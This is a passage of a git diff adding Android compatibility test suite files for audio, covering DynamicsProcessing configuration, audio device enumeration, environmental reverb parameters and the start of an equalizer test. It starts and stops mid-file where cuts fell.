+            mbc.setBand(TEST_BAND_INDEX, mbcBand);
+            channel.setMbc(mbc);
+
+            postEqBand.setGain(gain);
+            postEq.setBand(TEST_BAND_INDEX, postEqBand);
+            channel.setPostEq(postEq);
+
+            limiter.setPostGain(gain);
+            channel.setLimiter(limiter);
+
+            builder.setChannelTo(i, channel);
+        }
+        // build and compare
+        DynamicsProcessing.Config newConfig = builder.build();
+        for (int i = 0; i < TEST_CHANNEL_COUNT; i++) {
+            float expectedGain = i % 2 == 0 ? TEST_GAIN1 : TEST_GAIN2;
+            assertEquals("preEQBand gain is different in channel " + i + " band " + TEST_BAND_INDEX,
+                    expectedGain,
+                    newConfig.getPreEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("mbcBand preGain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, expectedGain,
+                    newConfig.getMbcBandByChannelIndex(i, TEST_BAND_INDEX).getPreGain(),
+                    EPSILON);
+
+            assertEquals("postEQBand gain is different in channel " + i + " band " +
+                    TEST_BAND_INDEX, expectedGain,
+                    newConfig.getPostEqBandByChannelIndex(i, TEST_BAND_INDEX).getGain(),
+                    EPSILON);
+
+            assertEquals("limiter gain is different in channel " + i,
+                    expectedGain, newConfig.getLimiterByChannelIndex(i).getPostGain(), EPSILON);
+        }
+    }
+    // -----------------------------------------------------------------
+    // private methods
+    // ----------------------------------
+
+    private void createDynamicsProcessing(int session) {
+        createDynamicsProcessingWithConfig(session, null);
+    }
+
+    private void createDynamicsProcessingWithConfig(int session, DynamicsProcessing.Config config) {
+        releaseDynamicsProcessing();
+        try {
+            mDP = (config == null ? new DynamicsProcessing(session)
+                    : new DynamicsProcessing(0 /* priority */, session, config));
+        } catch (IllegalArgumentException e) {
+            Log.e(TAG, "createDynamicsProcessingWithConfig() DynamicsProcessing not found"
+                    + "exception: ", e);
+        } catch (UnsupportedOperationException e) {
+            Log.e(TAG, "createDynamicsProcessingWithConfig() Effect library not loaded exception: ",
+                    e);
+        }
+        assertNotNull("could not create DynamicsProcessing", mDP);
+    }
+
+    private void releaseDynamicsProcessing() {
+        if (mDP != null) {
+            mDP.release();
+            mDP = null;
+        }
+    }
+
+    private void createDefaultEffect() {
+        DynamicsProcessing.Config config = getBuilderWithValues().build();
+        assertNotNull("null config", config);
+
+        AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull("null AudioManager", am);
+
+        int session = am.generateAudioSessionId();
+        assertTrue("cannot generate new session", session != AudioManager.ERROR);
+
+        createDynamicsProcessingWithConfig(session, config);
+    }
+
+    private DynamicsProcessing.Config.Builder getBuilder(int channelCount) {
+        // simple config
+        DynamicsProcessing.Config.Builder builder = new DynamicsProcessing.Config.Builder(
+                DEFAULT_VARIANT /* variant */,
+                channelCount/* channels */,
+                DEFAULT_PREEQ_IN_USE /* enable preEQ */,
+                DEFAULT_PREEQ_BAND_COUNT /* preEq bands */,
+                DEFAULT_MBC_IN_USE /* enable mbc */,
+                DEFAULT_MBC_BAND_COUNT /* mbc bands */,
+                DEFAULT_POSTEQ_IN_USE /* enable postEq */,
+                DEFAULT_POSTEQ_BAND_COUNT /* postEq bands */,
+                DEFAULT_LIMITER_IN_USE /* enable limiter */);
+
+        return builder;
+    }
+
+    private DynamicsProcessing.Config.Builder getBuilderWithValues(int channelCount) {
+        // simple config
+        DynamicsProcessing.Config.Builder builder = getBuilder(channelCount);
+
+        // Set Defaults
+        builder.setPreferredFrameDuration(DEFAULT_FRAME_DURATION);
+        builder.setInputGainAllChannelsTo(DEFAULT_INPUT_GAIN);
+        return builder;
+    }
+
+    private DynamicsProcessing.Config.Builder getBuilderWithValues() {
+        return getBuilderWithValues(MIN_CHANNEL_COUNT);
+    }
+
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EnumDevicesTest.java b/tests/tests/media/audio/src/android/media/audio/cts/EnumDevicesTest.java
new file mode 100644
index 0000000..fabb7dc
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EnumDevicesTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+
+import android.media.cts.AudioHelper;
+import android.media.cts.DeviceUtils;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
+import android.media.AudioManager;
+
+import android.os.Handler;
+import android.os.Looper;
+
+import android.test.AndroidTestCase;
+
+import android.util.Log;
+
+/**
+ * TODO: Insert description here. (generated by pmclean)
+ */
+@NonMediaMainlineTest
+public class EnumDevicesTest extends AndroidTestCase {
+    private static final String TAG = "EnumDevicesTest";
+
+    private AudioManager mAudioManager;
+
+    boolean mAddCallbackCalled = false;
+    boolean mRemoveCallbackCalled = false;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // get the AudioManager
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        assertNotNull(mAudioManager);
+    }
+
+    public void test_getDevices() {
+        AudioDeviceInfo[] deviceList;
+
+        // test an empty flags set
+        deviceList = mAudioManager.getDevices(0);
+        assertTrue(deviceList != null);
+        assertTrue(deviceList.length == 0);
+
+        PackageManager pkgMgr = mContext.getPackageManager();
+
+        boolean isTvDevice = DeviceUtils.isTVDevice(mContext);
+
+        int numOutputDevices = 0;
+        if (pkgMgr.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // test OUTPUTS
+            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+            assertTrue(deviceList != null);
+
+            numOutputDevices = deviceList.length;
+            if (numOutputDevices == 0) {
+                boolean isHDMIConnected = DeviceUtils.isHDMIConnected(mContext);
+                if (isTvDevice && !isHDMIConnected) {
+                    Log.w(TAG, "getDevices test: failure due to missing reported output " +
+                               "or the test is run on a TV device with no HDMI connected");
+                }
+                assertTrue("getDevices test: failure due to missing HDMI connection " +
+                           "or missing output", false);
+            }
+
+            // any reported output devices should be "sinks"
+            for(int index = 0; index < numOutputDevices; index++) {
+                assertTrue(deviceList[index].isSink());
+            }
+        }
+
+        int numInputDevices = 0;
+        if (pkgMgr.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            // test INPUTS
+            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+            assertTrue(deviceList != null);
+
+            numInputDevices = deviceList.length;
+            assertTrue(numInputDevices != 0);
+
+            // all should be "sources"
+            for(int index = 0; index < numInputDevices; index++) {
+                assertTrue(deviceList[index].isSource());
+            }
+        }
+
+        // INPUTS & OUTPUTS
+        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) &&
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
+            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+            assertTrue(deviceList != null);
+            assertTrue(deviceList.length == (numOutputDevices + numInputDevices));
+        }
+    }
+
+    public void test_devicesInfoFields() {
+        AudioDeviceInfo[] deviceList;
+        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
+        for (int index = 0; index < deviceList.length; index++) {
+            AudioDeviceInfo deviceInfo = deviceList[index];
+
+            // we don't say anything about the returned value.
+            int id = deviceInfo.getId();
+
+            // Product Name
+            CharSequence productName = deviceInfo.getProductName();
+            assertNotNull(productName);
+            assertTrue(productName.length() != 0);
+
+            // Address
+            String address = deviceInfo.getAddress();
+            assertNotNull(address);
+            // address may be empty
+
+            // isSource() XOR isSink()
+            assertTrue(deviceInfo.isSource() != deviceInfo.isSink());
+
+            // Sample Rates
+            int[] sampleRates = deviceInfo.getSampleRates();
+            assertNotNull(sampleRates);
+            // Note: an empty array indicates that the device supports arbitrary sample rates.
+
+            // Channel Masks
+            int[] channelMasks = deviceInfo.getChannelMasks();
+            assertNotNull(channelMasks);
+            // Note: an empty array indicates that the device supports arbitrary channel masks.
+
+            // Channel Index Masks
+            int[] indexMasks = deviceInfo.getChannelIndexMasks();
+            assertNotNull(indexMasks);
+            // Note: an empty array indicates that the device supports arbitrary channel index
+            // masks.
+
+            // Channel Counts
+            int[] channelCounts = deviceInfo.getChannelCounts();
+            assertNotNull(channelCounts);
+            // Note: an empty array indicates that the device supports arbitrary channel counts.
+
+            // Encodings
+            int[] encodings = deviceInfo.getEncodings();
+            assertNotNull(encodings);
+            // Note: an empty array indicates that the device supports arbitrary encodings.
+
+            // Encapsulation Modes
+            int[] encapsulationModes = deviceInfo.getEncapsulationModes();
+            assertNotNull(encapsulationModes);
+
+            // EncapsulationMetadataTypes
+            int[] encapsulationMetadataTypes = deviceInfo.getEncapsulationMetadataTypes();
+            assertNotNull(encapsulationMetadataTypes);
+
+            int type = deviceInfo.getType();
+            assertTrue(type != AudioDeviceInfo.TYPE_UNKNOWN);
+        }
+    }
+
+    private class EmptyDeviceCallback extends AudioDeviceCallback {
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            mAddCallbackCalled = true;
+        }
+
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            mRemoveCallbackCalled = true;
+        }
+    }
+
+    /*
+     * tests if the Looper for the current thread has been prepared,
+     * If not, it makes one, prepares it and returns it.
+     * If this returns non-null, the caller is reponsible for calling quit()
+     * on the returned Looper.
+     */
+    private Looper prepareIfNeededLooper() {
+        // non-null Handler
+        Looper myLooper = null;
+        if (Looper.myLooper() == null) {
+            Looper.prepare();
+            myLooper = Looper.myLooper();
+            assertNotNull(myLooper);
+        }
+        return myLooper;
+    }
+
+    public void test_deviceCallback() {
+        // null callback?
+        mAudioManager.registerAudioDeviceCallback(null,null);
+
+        AudioDeviceCallback callback =  new EmptyDeviceCallback();
+        AudioDeviceCallback someOtherCallback =  new EmptyDeviceCallback();
+        // null Handler
+        mAudioManager.registerAudioDeviceCallback(callback, null);
+
+        // unregister null callback
+        mAudioManager.unregisterAudioDeviceCallback(null);
+        // unregister callback not registered
+        mAudioManager.unregisterAudioDeviceCallback(someOtherCallback);
+        // nominal case
+        mAudioManager.unregisterAudioDeviceCallback(callback);
+        // remove twice
+        mAudioManager.unregisterAudioDeviceCallback(callback);
+
+        Looper myLooper = prepareIfNeededLooper();
+
+        mAudioManager.registerAudioDeviceCallback(callback, new Handler());
+        // unregister null callback
+        mAudioManager.unregisterAudioDeviceCallback(null);
+        // unregister callback not registered
+        mAudioManager.unregisterAudioDeviceCallback(someOtherCallback);
+        // nominal case
+        mAudioManager.unregisterAudioDeviceCallback(callback);
+        // remove twice
+        mAudioManager.unregisterAudioDeviceCallback(callback);
+
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
+
+    //TODO - Need tests for device connect/disconnect callbacks
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java b/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java
new file mode 100644
index 0000000..19dac12
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EnvReverbTest.java
@@ -0,0 +1,559 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.audiofx.EnvironmentalReverb;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+import android.os.Looper;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+@NonMediaMainlineTest
+@AppModeFull(reason = "Fails in instant mode")
+public class EnvReverbTest extends PostProcTestBase {
+
+    private String TAG = "EnvReverbTest";
+    private final static int MILLIBEL_TOLERANCE = 100;            // +/-1dB
+    private final static float DELAY_TOLERANCE = 1.05f;           // 5%
+    private final static float RATIO_TOLERANCE = 1.05f;           // 5%
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private EnvironmentalReverb mReverb = null;
+    private EnvironmentalReverb mReverb2 = null;
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // ENVIRONMENTAL REVERB TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        EnvironmentalReverb envReverb = null;
+         try {
+            envReverb = new EnvironmentalReverb(0, 0);
+            try {
+                assertTrue("invalid effect ID", (envReverb.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("EnvironmentalReverb not initialized");
+            }
+        } catch (IllegalArgumentException e) {
+            fail("EnvironmentalReverb not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } finally {
+            if (envReverb != null) {
+                envReverb.release();
+            }
+        }
+    }
+
+
+    //-----------------------------------------------------------------
+    // 1 - get/set parameters
+    //----------------------------------
+
+    //Test case 1.0: test room level and room HF level
+    public void test1_0Room() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            short level = mReverb.getRoomLevel();
+            level = (short)((level == 0) ? -1000 : 0);
+            mReverb.setRoomLevel(level);
+            short level2 = mReverb.getRoomLevel();
+            assertTrue("got incorrect room level",
+                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
+                    (level2 < (level + MILLIBEL_TOLERANCE)));
+
+            level = mReverb.getRoomHFLevel();
+            level = (short)((level == 0) ? -1000 : 0);
+            mReverb.setRoomHFLevel(level);
+            level2 = mReverb.getRoomHFLevel();
+            assertTrue("got incorrect room HF level",
+                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
+                    (level2 < (level + MILLIBEL_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 1.1: test decay time and ratio
+    public void test1_1Decay() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            int time = mReverb.getDecayTime();
+            time = (time == 500) ? 1000 : 500;
+            mReverb.setDecayTime(time);
+            int time2 = mReverb.getDecayTime();
+            assertTrue("got incorrect decay time",
+                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
+                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
+            short ratio = mReverb.getDecayHFRatio();
+            ratio = (short)((ratio == 500) ? 1000 : 500);
+            mReverb.setDecayHFRatio(ratio);
+            short ratio2 = mReverb.getDecayHFRatio();
+            assertTrue("got incorrect decay HF ratio",
+                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
+                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+
+    //Test case 1.2: test reverb level and delay
+    public void test1_2Reverb() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            short level = mReverb.getReverbLevel();
+            level = (short)((level == 0) ? -1000 : 0);
+            mReverb.setReverbLevel(level);
+            short level2 = mReverb.getReverbLevel();
+            assertTrue("got incorrect reverb level",
+                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
+                    (level2 < (level + MILLIBEL_TOLERANCE)));
+
+// FIXME:uncomment actual test when early reflections are implemented in the reverb
+//            int time = mReverb.getReverbDelay();
+//             mReverb.setReverbDelay(time);
+//            int time2 = mReverb.getReverbDelay();
+//            assertTrue("got incorrect reverb delay",
+//                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
+//                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
+            mReverb.setReverbDelay(0);
+            int time2 = mReverb.getReverbDelay();
+            assertEquals("got incorrect reverb delay", mReverb.getReverbDelay(), 0);
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 1.3: test early reflections level and delay
+    public void test1_3Reflections() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+// FIXME:uncomment actual test when early reflections are implemented in the reverb
+//            short level = mReverb.getReflectionsLevel();
+//            level = (short)((level == 0) ? -1000 : 0);
+//            mReverb.setReflectionsLevel(level);
+//            short level2 = mReverb.getReflectionsLevel();
+//            assertTrue("got incorrect reflections level",
+//                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
+//                    (level2 < (level + MILLIBEL_TOLERANCE)));
+//
+//            int time = mReverb.getReflectionsDelay();
+//            time = (time == 20) ? 0 : 20;
+//            mReverb.setReflectionsDelay(time);
+//            int time2 = mReverb.getReflectionsDelay();
+//            assertTrue("got incorrect reflections delay",
+//                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
+//                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
+            mReverb.setReflectionsLevel((short) 0);
+            assertEquals("got incorrect reverb delay",
+                    mReverb.getReflectionsLevel(), (short) 0);
+            mReverb.setReflectionsDelay(0);
+            assertEquals("got incorrect reverb delay",
+                    mReverb.getReflectionsDelay(), 0);
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 1.4: test diffusion and density
+    public void test1_4DiffusionAndDensity() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            short ratio = mReverb.getDiffusion();
+            ratio = (short)((ratio == 500) ? 1000 : 500);
+            mReverb.setDiffusion(ratio);
+            short ratio2 = mReverb.getDiffusion();
+            assertTrue("got incorrect diffusion",
+                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
+                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
+
+            ratio = mReverb.getDensity();
+            ratio = (short)((ratio == 500) ? 1000 : 500);
+            mReverb.setDensity(ratio);
+            ratio2 = mReverb.getDensity();
+            assertTrue("got incorrect density",
+                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
+                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
+
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 1.5: test properties
+    public void test1_5Properties() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            EnvironmentalReverb.Settings settings = mReverb.getProperties();
+            String str = settings.toString();
+            settings = new EnvironmentalReverb.Settings(str);
+            short level = (short)((settings.roomLevel == 0) ? -1000 : 0);
+            settings.roomLevel = level;
+            mReverb.setProperties(settings);
+            settings = mReverb.getProperties();
+            assertTrue("setProperties failed",
+                    (settings.roomLevel >= (level - MILLIBEL_TOLERANCE)) &&
+                    (settings.roomLevel <= (level + MILLIBEL_TOLERANCE)));
+        } catch (IllegalArgumentException e) {
+            fail("Bad parameter value");
+        } catch (UnsupportedOperationException e) {
+            fail("get parameter() rejected");
+        } catch (IllegalStateException e) {
+            fail("get parameter() called in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 2 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    public void test2_0SetEnabledGetEnabled() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        try {
+            mReverb.setEnabled(true);
+            assertTrue("invalid state from getEnabled", mReverb.getEnabled());
+            mReverb.setEnabled(false);
+            assertFalse("invalid state to getEnabled", mReverb.getEnabled());
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //Test case 2.1: test setEnabled() throws exception after release
+    public void test2_1SetEnabledAfterRelease() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        getReverb(0);
+        mReverb.release();
+        try {
+            mReverb.setEnabled(true);
+            fail("setEnabled() processed after release()");
+        } catch (IllegalStateException e) {
+            // test passed
+        } finally {
+            releaseReverb();
+        }
+    }
+
+    //-----------------------------------------------------------------
+    // 3 priority and listeners
+    //----------------------------------
+
+    //Test case 3.0: test control status listener
+    public void test3_0ControlStatusListener() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mHasControl = true;
+            mInitialized = false;
+            createListenerLooper(true, false, false);
+            waitForLooperInitialization_l();
+
+            getReverb(0);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mHasControl && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertFalse("effect control not lost by effect1", mHasControl);
+    }
+
+    //Test case 3.1: test enable status listener
+    public void test3_1EnableStatusListener() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+         synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, true, false);
+            waitForLooperInitialization_l();
+
+            mReverb2.setEnabled(true);
+            mIsEnabled = true;
+            getReverb(0);
+            mReverb.setEnabled(false);
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while (mIsEnabled && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertFalse("enable status not updated", mIsEnabled);
+    }
+
+    //Test case 3.2: test parameter changed listener
+    public void test3_2ParameterChangedListener() throws Exception {
+        if (!isEnvReverbAvailable()) {
+            return;
+        }
+        synchronized(mLock) {
+            mInitialized = false;
+            createListenerLooper(false, false, true);
+            waitForLooperInitialization_l();
+
+            getReverb(0);
+            mChangedParameter = -1;
+            mReverb.setRoomLevel((short)0);
+
+            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
+                try {
+                    mLock.wait();
+                } catch(Exception e) {
+                }
+            }
+            terminateListenerLooper();
+            releaseReverb();
+        }
+        assertEquals("parameter change not received",
+                EnvironmentalReverb.PARAM_ROOM_LEVEL, mChangedParameter);
+    }
+
+    //-----------------------------------------------------------------
+    // private methods
+    //----------------------------------
+
+    private void getReverb(int session) {
+         if (mReverb == null || session != mSession) {
+             if (session != mSession && mReverb != null) {
+                 mReverb.release();
+                 mReverb = null;
+             }
+             try {
+                mReverb = new EnvironmentalReverb(0, session);
+                mSession = session;
+            } catch (IllegalArgumentException e) {
+                Log.e(TAG, "getReverb() EnvironmentalReverb not found exception: "+e);
+            } catch (UnsupportedOperationException e) {
+                Log.e(TAG, "getReverb() Effect library not loaded exception: "+e);
+            }
+         }
+         assertNotNull("could not create mReverb", mReverb);
+    }
+
+    private void releaseReverb() {
+        if (mReverb != null) {
+            mReverb.release();
+            mReverb = null;
+        }
+    }
+
+    private void waitForLooperInitialization_l() {
+        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
+        while (!mInitialized && (looperWaitCount-- > 0)) {
+            try {
+                mLock.wait();
+            } catch(Exception e) {
+            }
+        }
+        assertTrue(mInitialized);
+    }
+
+    // Initializes the reverb listener looper
+    class ListenerThread extends Thread {
+        boolean mControl;
+        boolean mEnable;
+        boolean mParameter;
+
+        public ListenerThread(boolean control, boolean enable, boolean parameter) {
+            super();
+            mControl = control;
+            mEnable = enable;
+            mParameter = parameter;
+        }
+
+        public void cleanUp() {
+            if (mReverb2 != null) {
+                mReverb2.setControlStatusListener(null);
+                mReverb2.setEnableStatusListener(null);
+                mReverb2.setParameterListener(
+                            (EnvironmentalReverb.OnParameterChangeListener)null);
+            }
+        }
+    }
+
+    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
+        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
+            @Override
+            public void run() {
+                // Set up a looper
+                Looper.prepare();
+
+                // Save the looper so that we can terminate this thread
+                // after we are done with it.
+                mLooper = Looper.myLooper();
+
+                mReverb2 = new EnvironmentalReverb(0, 0);
+                assertNotNull("could not create reverb2", mReverb2);
+
+                synchronized(mLock) {
+                    if (mControl) {
+                        mReverb2.setControlStatusListener(
+                                new AudioEffect.OnControlStatusChangeListener() {
+                            public void onControlStatusChange(
+                                    AudioEffect effect, boolean controlGranted) {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mHasControl = controlGranted;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mEnable) {
+                        mReverb2.setEnableStatusListener(
+                                new AudioEffect.OnEnableStatusChangeListener() {
+                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mIsEnabled = enabled;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+                    if (mParameter) {
+                        mReverb2.setParameterListener(new EnvironmentalReverb.OnParameterChangeListener() {
+                            public void onParameterChange(EnvironmentalReverb effect,
+                                    int status, int param, int value)
+                            {
+                                synchronized(mLock) {
+                                    if (effect == mReverb2) {
+                                        mChangedParameter = param;
+                                        mLock.notify();
+                                    }
+                                }
+                            }
+                        });
+                    }
+
+                    mInitialized = true;
+                    mLock.notify();
+                }
+                Looper.loop();  // Blocks forever until Looper.quit() is called.
+            }
+        };
+        mEffectListenerLooper.start();
+    }
+
+    // Terminates the listener looper thread.
+    private void terminateListenerLooper() {
+        if (mEffectListenerLooper != null) {
+            mEffectListenerLooper.cleanUp();
+            if (mLooper != null) {
+                mLooper.quit();
+                mLooper = null;
+            }
+            try {
+                mEffectListenerLooper.join();
+            } catch(InterruptedException e) {
+            }
+            mEffectListenerLooper = null;
+        }
+        if (mReverb2 != null) {
+            mReverb2.release();
+            mReverb2 = null;
+        }
+    }
+}
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java b/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java
new file mode 100644
index 0000000..e5339a2
--- /dev/null
+++ b/tests/tests/media/audio/src/android/media/audio/cts/EqualizerTest.java
@@ -0,0 +1,457 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.audio.cts;
+
+import android.media.audiofx.AudioEffect;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.audiofx.Equalizer;
+import android.media.cts.NonMediaMainlineTest;
+import android.media.cts.PostProcTestBase;
+import android.os.Looper;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+@NonMediaMainlineTest
+public class EqualizerTest extends PostProcTestBase {
+
+    private String TAG = "EqualizerTest";
+    private final static int MIN_NUMBER_OF_BANDS = 2;
+    private final static int MAX_LEVEL_RANGE_LOW = 0;             // 0dB
+    private final static int MIN_LEVEL_RANGE_HIGH = 0;            // 0dB
+    private final static int TEST_FREQUENCY_MILLIHERTZ = 1000000; // 1kHz
+    private final static int MIN_NUMBER_OF_PRESETS = 0;
+    private final static float TOLERANCE = 100;                   // +/-1dB
+    private final static int MAX_LOOPER_WAIT_COUNT = 10;
+
+    private Equalizer mEqualizer = null;
+    private Equalizer mEqualizer2 = null;
+    private ListenerThread mEffectListenerLooper = null;
+
+    //-----------------------------------------------------------------
+    // EQUALIZER TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        Equalizer eq = null;
+        try {
+            eq = new Equalizer(0, getSessionId());
+            try {
